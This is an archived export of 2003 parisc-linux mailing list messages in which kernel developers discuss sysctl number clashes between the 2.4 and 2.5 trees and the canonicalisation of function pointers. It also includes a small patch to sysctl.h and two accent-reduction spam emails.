Subject: Re: [parisc-linux] warning: minor abi change
Date: Mon, 7 Jul 2003 18:33:02 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <3F03A42100000927@ocpmta1.freegates.net>
References: <1057593949.2749.59.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========/3F03A42100000927/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622565 27573 80.91.229.3 (22 Nov 2014 02:16:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:05 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	"HPPA List" <parisc-linux@parisc-linux.org>
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 10:33:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45E3B487B
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jul 2003 10:33:06 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19ZYtF-0001pn-00; Mon, 07 Jul 2003 18:30:57 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 7 Jul 2003 18:33:02 +0200
In-Reply-To: <1057593949.2749.59.camel@dhcp22.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18829

--========/3F03A42100000927/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Alan,

> Same comment still applies. The 2.5. ones are definitive. If someone
> submits a 2.4 one clashing with a different 2.5 one tell Marcelo to
> revert it ASAP.

So I check in last 2.5.74 (co from parisc-linux.org) and it seems that following
patch would be better apply to merge 2.5 and change in 2.4.22-pre2:
===========
--- include/linux/sysctl.h.orig	2003-07-07 19:22:58.000000000 +0200
+++ include/linux/sysctl.h	2003-07-07 19:19:43.000000000 +0200
@@ -126,6 +126,9 @@
 	KERN_CADPID=54,		/* int: PID of the process to notify on CAD */
  	KERN_CORE_PATTERN=56,	/* string: pattern for core-files */
 	KERN_PPC_L3CR=57,       /* l3cr register on PPC */
+ 	KERN_HPPA_PWRSW=58,	/* int: hppa soft-power enable */
+ 	KERN_HPPA_UNALIGNED=59,	/* int: hppa unaligned-trap enable */
+	KERN_EXCEPTION_TRACE=60, /* boolean: exception trace */
 };
 
===========

If it is corect, could you help me to transmit info to Marcelo (I already
tried to send him severall mail but without any feedback so I presume that
he never got it?)

Thanks in advance,
    Joel





------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 



--========/3F03A42100000927/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="sysctl.h-diff"

LS0tIGluY2x1ZGUvbGludXgvc3lzY3RsLmgub3JpZwkyMDAzLTA3LTA3IDE5OjIyOjU4LjAwMDAw
MDAwMCArMDIwMAorKysgaW5jbHVkZS9saW51eC9zeXNjdGwuaAkyMDAzLTA3LTA3IDE5OjE5OjQz
LjAwMDAwMDAwMCArMDIwMApAQCAtMTI2LDYgKzEyNiw5IEBACiAJS0VSTl9DQURQSUQ9NTQsCQkv
KiBpbnQ6IFBJRCBvZiB0aGUgcHJvY2VzcyB0byBub3RpZnkgb24gQ0FEICovCiAgCUtFUk5fQ09S
RV9QQVRURVJOPTU2LAkvKiBzdHJpbmc6IHBhdHRlcm4gZm9yIGNvcmUtZmlsZXMgKi8KIAlLRVJO
X1BQQ19MM0NSPTU3LCAgICAgICAvKiBsM2NyIHJlZ2lzdGVyIG9uIFBQQyAqLworIAlLRVJOX0hQ
UEFfUFdSU1c9NTgsCS8qIGludDogaHBwYSBzb2Z0LXBvd2VyIGVuYWJsZSAqLworIAlLRVJOX0hQ
UEFfVU5BTElHTkVEPTU5LAkvKiBpbnQ6IGhwcGEgdW5hbGlnbmVkLXRyYXAgZW5hYmxlICovCisJ
S0VSTl9FWENFUFRJT05fVFJBQ0U9NjAsIC8qIGJvb2xlYW46IGV4Y2VwdGlvbiB0cmFjZSAqLwog
fTsKIAogCg==

--========/3F03A42100000927/mail.tiscali.be--


From - Thu Nov 08 21:28:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Mon, 7 Jul 2003 18:39:24 +0200
Lines: 104
Approved: news@gmane.org
Message-ID: <3F03A4210000092C@ocpmta1.freegates.net>
References: <20030707163131.GB23597@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622565 27582 80.91.229.3 (22 Nov 2014 02:16:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:05 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	"HPPA List" <parisc-linux@parisc-linux.org>,
	"Alan Cox" <alan@lxorguk.ukuu.org.uk>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 10:39:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id D45DC487F
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jul 2003 10:39:28 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19ZZ0D-0003Hv-00; Mon, 07 Jul 2003 18:38:09 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 7 Jul 2003 18:39:24 +0200
In-Reply-To: <20030707163131.GB23597@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18830

Thanks Willy,

I haven't notice that because merge doesn't complain.
I will so check further.

Joel

>-- Original Message --
>Date: Mon, 7 Jul 2003 17:31:31 +0100
>From: Matthew Wilcox <willy@debian.org>
>To: Marcelo Tosatti <marcelo@conectiva.com.br>
>Cc: Joel Soete <jsoe0708@tiscali.be>, Matthew Wilcox <willy@debian.org>,
>	HPPA List <parisc-linux@parisc-linux.org>,
>	Alan Cox <alan@lxorguk.ukuu.org.uk>
>Subject: Re: [parisc-linux] warning: minor abi change
>
>
>
Marcelo, looks like you have a problem to sort out:

--- ../marcelo-2.4/include/linux/sysctl.h       Thu Jul  3 08:59:18 2003
+++ include/linux/sysctl.h      Mon Jul  7 10:19:02 2003
@@ -124,28 +127,36 @@
        KERN_CORE_USES_PID=52,          
>* int: use core or core.%pid */
        KERN_TAINTED=53,        /* int: various kernel tainted flags */
        KERN_CADPID=54,         /* int: PID of the process to notify on CAD
*/
-       KERN_CORE_PATTERN=56,   /* string: pattern for core-files 
>/
-       KERN_PPC_L3CR=57,       /* l3cr register on PPC */
-       KERN_EXCEPTION_TRACE=58, /* boolean: exception trace */
+       KERN_PIDMAX=55,         /* int: PID # limit */
+       KERN_CORE_PATTERN=56,   /* string: pattern for core-file nam
>s */
+       KERN_PANIC_ON_OOPS=57,  /* int: whether we will panic on an oops
*/
 };

Bad PPC people.  And bad KERN_EXCEPTION_TRACE people, whoever they are.
The PPC one needs to be changed, no matter what.  And the KERN_EXCEPTION
people need to 
>et a sysctl number allocated by Linus.

Looks like the VM people have been naughty too:

-       VM_MAX_MAP_COUNT=11,    /* int: Maximum number of active map areas
*/
-       VM_MIN_READAHEAD=12,    /* Min file readahead */
-       VM_MAX_READAHE
>D=13,    /* Max file readahead */
+       VM_DIRTY_BACKGROUND=11, /* dirty_background_ratio */
+       VM_DIRTY_RATIO=12,      /* dirty_ratio */
+       VM_DIRTY_WB_CS=13,      /* dirty_writeback_centisecs */
+       VM_DIRTY_EXPIRE_CS=14,  /* dirt
>_expire_centisecs */
+       VM_NR_PDFLUSH_THREADS=15, /* nr_pdflush_threads */
+       VM_OVERCOMMIT_RATIO=16, /* percent of RAM to allow overcommit in
*/
+       VM_PAGEBUF=17,          /* struct: Control pagebuf parameters */
+       VM_HUGETLB_
>AGES=18,    /* int: Number of available Huge Pages */
+       VM_SWAPPINESS=19,       /* Tendency to steal mapped memory */
+       VM_LOWER_ZONE_PROTECTION=20,/* Amount of protection of lower zones
*/
+       VM_MIN_FREE_KBYTES=21,  /* Minimum free
>kilobytes to maintain */

SCTP is bad too:

-       NET_KHTTPD=17
+       NET_SCTP=17, 


On Mon, Jul 07, 2003 at 05:05:52PM +0100, Alan Cox wrote:
> On Llu, 2003-07-07 at 17:00, Joel Soete wrote:
> > > Get the HP ones into 2.5 then they are 
>ixed "right" values
> > 
> > Ok but now in 2.4.22-pre3:
> > [...]
> >   	KERN_EXCEPTION_TRACE=58,	/* boolean: exception trace */
> > [...]
> 
> Same comment still applies. The 2.5. ones are definitive. If someone
> submits a 2.4 one clashing wi
>h a different 2.5 one tell Marcelo to
> revert it ASAP.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an aca
>emic debate on this subject?" -- Robert Fisk



------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Mon, 7 Jul 2003 16:02:40 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20030707200240.GN30341@systemhalted>
References: <20030705230834.GB9682@dsl2.external.hp.com> <200307052353.h65NrZF4025169@hiauly1.hia.nrc.ca> <20030706041210.GA16894@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622565 27584 80.91.229.3 (22 Nov 2014 02:16:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:05 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, jsoe0708@tiscali.be,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 14:03:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 865344839
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jul 2003 14:03:43 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19ZcC8-0002yd-00; Mon, 07 Jul 2003 16:02:40 -0400
Content-Disposition: inline
In-Reply-To: <20030706041210.GA16894@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (42% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18831

> > This solution assumes that canonicalization is unnecessary in the kernel.
> > Probably, in most cases it is.  However, if you really need to canonicalize
> > a function pointer from user space, then you are going to have to figure
> > out how to call into the dynamic loader from the kernel.  This obviously
> > isn't very safe.  So, possibly this implies that function pointers passed
> > in syscalls should be canonicalized before the kernel is entered (i.e.,
> > glibc should do the canonicalization).
> > 
> > As far as kernel modules go, I don't know how function pointers are
> > handled.  If you pass a function pointer from one module to another,
> > does it need canonicalization?
> 
> I depend on willy/tausq/amodra/et al to understand stuff like this.

I can't really come up with a scenario where userspace passes a function
pointer to the kernel and has the kernel call or compare the function
pointer?

If someone can, please tell me :)

c.



From - Thu Nov 08 21:28:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Mon, 7 Jul 2003 16:19:12 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <200307072019.h67KJDMa002052@hiauly1.hia.nrc.ca>
References: <20030707200240.GN30341@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622565 27591 80.91.229.3 (22 Nov 2014 02:16:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:05 +0000 (UTC)
Cc: grundler@parisc-linux.org, jsoe0708@tiscali.be,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 14:19:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 682F24839
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jul 2003 14:19:15 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h67KJDgL002053;
	Mon, 7 Jul 2003 16:19:14 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h67KJDMa002052;
	Mon, 7 Jul 2003 16:19:13 -0400 (EDT)
In-Reply-To: <20030707200240.GN30341@systemhalted> from "Carlos O'Donell" at Jul 7, 2003 04:02:40 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18832

> I can't really come up with a scenario where userspace passes a function
> pointer to the kernel and has the kernel call or compare the function
> pointer?

One example is sigaction.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] warning: minor abi change
Date: Mon, 7 Jul 2003 21:45:51 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20030708014551.GB21801@systemhalted>
References: <20030707200240.GN30341@systemhalted> <200307072019.h67KJDMa002052@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622566 27592 80.91.229.3 (22 Nov 2014 02:16:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:06 +0000 (UTC)
Cc: grundler@parisc-linux.org, jsoe0708@tiscali.be,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 19:46:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 487A84893
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jul 2003 19:46:49 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19ZhYG-0006Y1-00; Mon, 07 Jul 2003 21:45:52 -0400
Content-Disposition: inline
In-Reply-To: <200307072019.h67KJDMa002052@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (0% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18833

> > I can't really come up with a scenario where userspace passes a function
> > pointer to the kernel and has the kernel call or compare the function
> > pointer?
> 
> One example is sigaction.

Fixable, I can stick a sigaction wrapper in userspace. Should we though?

c.



From - Thu Nov 08 21:28:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Natalie Edwards <nat_edwards@no-more-accents.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Are you learning ESL or TESL?
Date: Mon, 07 Jul 2003 23:18:15 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20030708042036.11A0B4887@dsl2.external.hp.com>
Reply-To: nat_edwards@no-more-accents.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="24389c1b-b0c6-11d7-8c17-003021a07df5"
X-Trace: ger.gmane.org 1416622566 27594 80.91.229.3 (22 Nov 2014 02:16:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  7 22:20:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from no-more-accents385.com (24-136-31-137.na.21stcentury.net [24.136.31.137])
	by dsl2.external.hp.com (Postfix) with SMTP id 11A0B4887
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jul 2003 22:20:36 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18834

This is a multi-part message in MIME format
--24389c1b-b0c6-11d7-8c17-003021a07df5
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Dear Reader...
No More Accent is an accent reduction product, which helps to remove accents. =
For example, an Asian lady (or any nationality) may have communication =
problems with her English when speaking to her friends or business =
colleagues.
 
With that in mind, No More Accent teaches Accent Reduction methodologies to =
help in this area. In fact, No More Accent can be used in almost any =
situation where an accent reduction is required. Even Actors within the =
Entertainment Industry have turned to No More Accent as a way to lose or gain =
an accent of another nationality.
 
No More Accent is available in two versions, CD-ROM and VHS Cassette Tape =
(PAL and NTSC formats) both can be purchased directly via the  =
http://www.no-more-accents.com
website.
 
If you would like further information about our products or services, please =
contact myself when you have a moment.
 
Best Wishes...
 
Natalie Edwards
Marketing Co-ordinator
 
http://www.no-more-accents.com
 
Your #1 Resource for Accent Reduction!  
--24389c1b-b0c6-11d7-8c17-003021a07df5--



From - Thu Nov 08 21:28:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Andrews <mandrews@no-moreaccent.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] - Are you learning English?
Date: Tue, 08 Jul 2003 07:59:22 -0500
Lines: 78
Approved: news@gmane.org
Message-ID: <20030708125936.7F455482B@dsl2.external.hp.com>
Reply-To: mandrews@no-moreaccent.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/related; boundary="5e184ce1-5f7d-4f84-94c3-beae92555269"
X-Trace: ger.gmane.org 1416622566 27595 80.91.229.3 (22 Nov 2014 02:16:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  8 06:59:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from no-moreaccent696.com (24-136-31-90.na.21stcentury.net [24.136.31.90])
	by dsl2.external.hp.com (Postfix) with SMTP id 7F455482B
	for <parisc-linux@parisc-linux.org>; Tue,  8 Jul 2003 06:59:36 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18835

This is a multi-part message in MIME format
--5e184ce1-5f7d-4f84-94c3-beae92555269
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>- Are you learning English?</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3D=
iso-8859-1">
</head>
<body text=3D"#000000" link=3D"#CC6600" vlink=3D"#CC6600" alink=3D"#CC6600" =
bgcolor=3D"#FFFFFF">
<div align=3D"left"></div>
<div align=3D"left"><font face=3D"Verdana, Arial, Helvetica, sans-serif" =
size=3D"2" color=3D"#666666"><b>De<font color=3D"#FFFFFF"><font color=3D=
"#666666">ar 
  Reader, </font></font></b></font> </div>
<ul>
  <li>
    <div align=3D"left"><font face=3D"Verdana, Arial, Helvetica, sans-serif" =
size=3D"2" color=3D"#666666">No 
      More Accent is an accent reduction product, <b>which helps to remove =
accents.</b> 
      For example, an Asian lady (or any nationality) may have communication =
problems 
      with her English when speaking to her friends or business =
colleagues.</font></div>
  </li>
</ul>
<div align=3D"left">
  <ul>
    <li><font face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D"2" =
color=3D"#666666">With 
      that in mind, No More Accent teaches Accent Reduction methodologies to =
help 
      in this area. In fact, No More Accent can be used in almost <b>any =
situation 
      where an accent reduction is required.</b> Even Actors within the =
Entertainment 
      Industry have turned to No More Accent as a way to lose or gain an =
accent 
      of another nationality.</font></li>
  </ul>
  <ul>
    <li><font face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D"2" =
color=3D"#666666">No 
      More Accent is available in two versions, CD-ROM and VHS Cassette Tape =
(PAL 
      and NTSC formats) both can be purchased directly via the <a href=3D=
"http://www.no-moreaccent.com" target=3D"_blank">www.no-moreaccent.com</a> 
      website.</font></li>
  </ul>
</div>
<p align=3D"center"><font face=3D"Verdana, Arial, Helvetica, sans-serif" =
size=3D"2" color=3D"#666666">If 
  you would like further information about our products or services,<b> =
please 
  contact myself when you have a moment.</b></font></p>
<p align=3D"center"><font face=3D"Verdana, Arial, Helvetica, sans-serif" =
size=3D"2" color=3D"#666666">Best 
  Wishes...</font></p>
<p align=3D"center"><font face=3D"Verdana, Arial, Helvetica, sans-serif" =
size=3D"2" color=3D"#666666">Martin 
  Andrews<br>
  Marketing Co-ordinator</font></p>
<p align=3D"center"><font face=3D"Verdana, Arial, Helvetica, sans-serif" =
size=3D"2" color=3D"#666666"><a href=3D"http://www.no-moreaccent.com" =
target=3D"_blank">www.no-moreaccent.com</a></font></p>
<p align=3D"center"><font face=3D"Verdana, Arial, Helvetica, sans-serif" =
size=3D"2" color=3D"#666666"><b>Your 
  #1 Resource for Accent Reduction! </b></font><font face=3D"Verdana, Arial, =
Helvetica, sans-serif" size=3D"2" color=3D"#FFFFFF"><b></b></font></p>
</body>
</html>  
--5e184ce1-5f7d-4f84-94c3-beae92555269--



From - Thu Nov 08 21:28:18 2018
X-Mozilla-Status: 0011
